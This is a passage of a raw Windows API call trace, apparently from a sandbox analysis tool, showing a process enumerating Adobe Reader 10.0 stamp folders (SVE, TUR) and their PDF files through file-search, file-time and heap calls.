lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0083.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.377] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.377] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.377] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.378] NtClose (Handle=0x174) returned 0x0 [0083.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.379] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.379] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.379] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215cc0 [0083.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aa530 [0083.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.381] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215ce0 [0083.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aa638 [0083.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.383] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.384] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.384] GetLastError () returned 0x12 [0083.384] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.384] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.384] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.384] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.384] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.384] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.384] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.384] GetLastError () returned 0x12 [0083.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.384] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.385] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0083.385] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.386] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.386] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.387] NtClose (Handle=0x180) returned 0x0 [0083.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.388] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.389] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.389] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215d20 [0083.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aa848 [0083.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.391] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215d40 [0083.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12aa950 [0083.393] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.393] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x992b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.393] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.393] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.393] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.394] GetLastError () returned 0x12 [0083.394] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.394] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x992b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.394] GetLastError () returned 0x12 [0083.394] FindClose (in: hFindFile=0x2e8f80 | out: 